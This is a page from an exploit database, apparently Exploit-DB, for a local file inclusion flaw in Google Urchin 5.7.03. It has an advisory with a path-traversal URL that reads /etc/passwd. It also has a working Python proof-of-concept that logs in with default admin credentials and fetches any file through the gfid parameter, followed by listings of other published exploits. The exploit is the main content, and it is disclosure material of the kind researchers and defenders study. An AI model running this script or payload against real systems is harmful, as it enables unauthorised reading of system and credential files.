Menu

Search for hundreds of thousands of exploits

"Google Urchin 5.7.03 - Local File Inclusion"

Author

Exploit author

"Kristian Erik Hermansen"

Platform

Exploit platform

cgi

Release date

Exploit published date

2010-12-15

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
Summary:
Google Urchin is vulnerable to a Local File Include (LFI)
vulnerability that allows arbitrary reading of files.  Confirmed in
version 5.7.03 running on Linux.  Issue may exist in other versions as
well.

Analysis:
During normal usage, Google Urchin creates files on disk that are then
embedded into report pages for visual data representation.
Unfortunately, an LFI vulnerability is introduced because proper
filtering is not performed.  The included files live under
$INSTALL_PATH and look something like this:
data/cache/localhost/admin-1102-23087-1292412725.

"""
$ file ./data/cache/localhost/admin-1102-23087-1292412725
./data/cache/localhost/admin-1102-22410-1292411043: XML  document text
$ head ./data/cache/localhost/admin-1102-23087-1292412725
<?xml version="1.0" encoding="utf-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 20001102//EN"
  "http://www.w3.org/TR/2000/CR-SVG-20001102/DTD/svg-20001102.dtd" [
    <!ENTITY st1
"fill:none;stroke:#cccccc;stroke-width:0.25;stroke-miterlimit:4;">
]>
<!--
    <?xml-stylesheet alternate="yes" href="ucss/usvg.css" type="text/css"?>
    Copyright(c) 2003 Urchin Software Corporation. All rights reserved.
    The svg contained herein is the property of Urchin Software
    Corporation, San Diego, CA. It may not be used outside the Urchin
...
"""

A typical direct query to such a resource will look like this and is
what becomes embedded in the page:
http://127.0.0.1:9999/session.cgi?sid=3456434387-0000000003&app=urchin.cgi&action=prop&rid=13&n=10&vid=1102&dtc=0&cmd=svg&gfid=admin-1102-23087-1292412725&ie5=.svg

By simply modifying the gfid parameter in the GET request, we can tell
Urchin to read any file on the host instead, like so:
http://127.0.0.1:9999/session.cgi?sid=3456434387-0000000003&app=urchin.cgi&action=prop&rid=13&n=10&vid=1102&dtc=0&cmd=svg&gfid=../../../../../../../../../../etc/passwd&ie5=.svg

FIN
-- 
Kristian Erik Hermansen

PoC Code:

#!/usr/bin/env python

# Author: "Kristian Erik Hermansen" <kristian.hermansen@gmail.com>
# Date: December 2010
# Google Urchin 5.x LFI in gfid parameter (0day)

from sys import argv
import httplib, urllib

if len(argv) < 3:
    print 'usage: %s <host> <file> [port] [user] [pass]' % (argv[0])
    exit(1)

HOST = argv[1]
FILE = argv[2]
PORT = int(argv[3]) or 9999
USER = argv[4] or 'admin'
PASS = argv[5] or 'urchin'

conn = httplib.HTTPConnection('%s:%d' % (HOST,PORT))

conn.request('GET', '/')
response = conn.getresponse()
if str(response.status)[0] == '3':
    print '[-] Host probably uses SSL. Not supported.'
    exit(2)
data = response.read()
app = data.split('<input type="hidden" name="app" value="')[1].split('"')[0]

params = urllib.urlencode({'user': USER, 'pass': PASS, 'app': app, 'action': 'login'})

conn.request('POST', '/session.cgi', params)
response = conn.getresponse()
data = response.read()
if data.find('Authentication Failed.') == -1:
    print '[*] Authentication succeeded :)'
else:
    print '[-] Authentication failed :('
    exit(3)
sid = data.split('?sid=')[1].split('&')[0]
rid = data.split('<a href="javascript:openReport(')[1].split(',')[0]

if app == 'admin.exe':
    pad = '..\\'*16
else:
    pad = '../'*16
conn.request('GET', '/session.cgi?sid=%s&action=prop&app=urchin.cgi&rid=%s&cmd=svg&gfid=%s%s&ie5=.svg' % (sid,rid,pad,FILE))
response = conn.getresponse()
data = response.read()

if data.find('SVG image not found. Possible causes are:') == -1:
    print data
else:
    print '[-] Failed to retrive requested file. May not exist on host.'

conn.close()
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-11-19 "Gemtek WVRTM-127ACN 01.01.02.141 - Authenticated Arbitrary Command Injection" webapps cgi "Gabriele Zuddas"
2020-10-29 "Mailman 1.x > 2.1.23 - Cross Site Scripting (XSS)" webapps cgi "Valerio Alessandroni"
2020-04-23 "Zen Load Balancer 3.10.1 - Directory Traversal (Metasploit)" webapps cgi "Dhiraj Mishra"
2020-04-10 "Zen Load Balancer 3.10.1 - 'index.cgi' Directory Traversal" webapps cgi "Basim Alabdullah"
2020-03-30 "Zen Load Balancer 3.10.1 - Remote Code Execution" webapps cgi "Cody Sixteen"
2020-02-11 "CHIYU BF430 TCP IP Converter - Stored Cross-Site Scripting" webapps cgi Luca.Chiou
2019-09-09 "Rifatron Intelligent Digital Security System - 'animate.cgi' Stream Disclosure" webapps cgi LiquidWorm
2019-07-12 "Citrix SD-WAN Appliance 10.2.2 - Authentication Bypass / Remote Command Execution" webapps cgi "Chris Lyne"
2019-02-18 "Master IP CAM 01 3.3.4.2103 - Remote Command Execution" webapps cgi "Raffaele Sabato"
2019-02-11 "Smoothwall Express 3.1-SP4 - Cross-Site Scripting" webapps cgi "Ozer Goker"
Release Date Title Type Platform Author
2017-02-03 "ntfs-3g (Debian 9) - Local Privilege Escalation" local linux "Kristian Erik Hermansen"
2015-09-08 "IBM AIX High Availability Cluster Multiprocessing (HACMP) - Local Privilege Escalation" local aix "Kristian Erik Hermansen"
2015-09-06 "Disconnect.me Mac OSX Client 2.0 - Local Privilege Escalation" local osx "Kristian Erik Hermansen"
2015-09-06 "FireEye Appliance - Unauthorized File Disclosure" webapps php "Kristian Erik Hermansen"
2013-09-24 "IBM AIX 6.1/7.1 - Local Privilege Escalation" local aix "Kristian Erik Hermansen"
2010-12-15 "Google Urchin 5.7.03 - Local File Inclusion" webapps cgi "Kristian Erik Hermansen"
2010-07-08 "Linux PAM 1.1.0 (Ubuntu 9.10/10.04) - MOTD File Tampering Privilege Escalation (1)" local linux "Kristian Erik Hermansen"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.